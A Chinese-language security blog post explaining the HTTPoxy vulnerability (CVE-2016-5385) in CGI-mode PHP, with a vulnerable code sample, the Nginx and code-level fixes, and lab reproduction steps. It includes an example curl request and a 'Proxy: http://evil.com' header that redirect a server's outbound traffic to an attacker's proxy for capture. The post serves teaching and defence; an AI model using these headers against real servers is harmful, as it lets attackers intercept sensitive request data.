HTTPoxy漏洞(CVE-2016-5385)


HTTPoxy漏洞(CVE-2016-5385)

原理及防御

核心的背景是,我们习惯了使用一个名为http_proxy的环境变量来设置我们的请求代理,比如在命令行我们经常这么用:

http_proxy=127.0.0.1:1080 wget http://www.geek-by.com/

通过设置http_proxy环境变量,让wget使用代理请求http://www.geek-by.com/

这样的设定最初来自1994年的CERN libwww 2.15,只不过大多应用都要求http_proxy是全部小写的, 还不足以造成今天这个漏洞。

但估计是因为环境变量习惯都是大写的原因吧, 后来有的类库开始支持大写的HTTP_PROXY, 比如yum: https://www.centos.org/docs/5/html/yum/sn-yum-proxy-server.html

再后来很多的类库, 各种语言的, 都开始支持这种配置, 有的支持大写的, 有的支持小写的, 还有的都支持。如:Guzzle(支持大写)、Artax(大写, 小写都支持)

包括我们自己, 也很有可能在日常的工作中写出如下的代码:

<?php
$http_proxy = getenv("HTTP_PROXY");
if ($http_proxy) {
    $context = array(
        'http' => array(
            'proxy' => $http_proxy,
            'request_fulluri' => true,
        ),

    );
    $s_context = stream_context_create($context);
} else {
    $s_context = NULL;
}
$ret = file_get_contents("http://www.geek-by.com/", false, $s_context);

那么问题来了,在CGI(RFC 3875)的模式的时候,会把请求中的Header,加上HTTP_前缀,注册为环境变量,所以如果你在Header中发送一个Proxy:xxxxxx,那么PHP就会把他注册为HTTP_PROXY环境变量,于是getenv(“HTTP_PROXY”)就变成可被控制的。那么如果你的所有类似的请求,都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了。

例如:
curl -H "Proxy:127.0.0.1:8000" http://host.com/httpoxy.php

所以,这个漏洞的复现,有几个核心前提:

  • 服务会对外请求资源
  • 服务使用了HTTP_PROXY(大写的)环境变量来代理你的请求(可能是你自己写,或是使用一些有缺陷的类库)
  • 服务跑在PHP的CGI模式下(cgi,php-fpm)

那知道了原理修复起来也很简单了, 以Nginx为例, 在配置中加入:
fastcgi_param HTTP_PROXY "";

所以建议, 即使不受该漏洞的影响,也应该加入这个配置.

而如果你是一个类库的作者,或者你因为什么原因没有办法修改服务配置,那么你就需要在代码中加入对sapi的判断,除非是cli模式,否则永远不要相信http_proxy环境变量。

<?php
if (php_sapi_name() == 'cli' && getenv('HTTP_PROXY')) {
   //只有CLI模式下, HTTP_PROXY环境变量才是可控的
}

简单来说,根据RFC 3875规定,cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com 这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com ,进而窃取数据包中可能存在的敏感信息。

PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中。本环境使用PHP 5.6.23为例。

当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。

漏洞复现

正常请求http://your-ip/index.php,可见其Origin为当前请求的服务器,二者IP相等:

在其他地方找到一个可以正常运行的http代理,附带Proxy: http://x.x.x.x:xxxx头,再次访问http://your-ip/index.php:

如上图,可见此时的Origin已经变成代理服务器的IP地址,也就是说真正进行HTTP访问的服务器是代理服务器,也就是说代理服务器已经将正常的HTTP请求代理了。

在x.x.x.x上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据:

参考


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
ImageMagick - CVE-2016-3714 命令执行 ImageMagick - CVE-2016-3714 命令执行
ImageMagick - CVE-2016-3714 命令执行ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。当用户传入一个包含『畸形内容』的图片的时候
2019-02-21
下一篇 
OpenSSL 心脏出血漏洞 OpenSSL 心脏出血漏洞
OpenSSL 心脏出血漏洞 (CVE-2014-0160)Run ssltest.py with Python 2 to obtain sensitive data (Cookie): #!/usr/bin/python # Quick
2019-02-20
  目录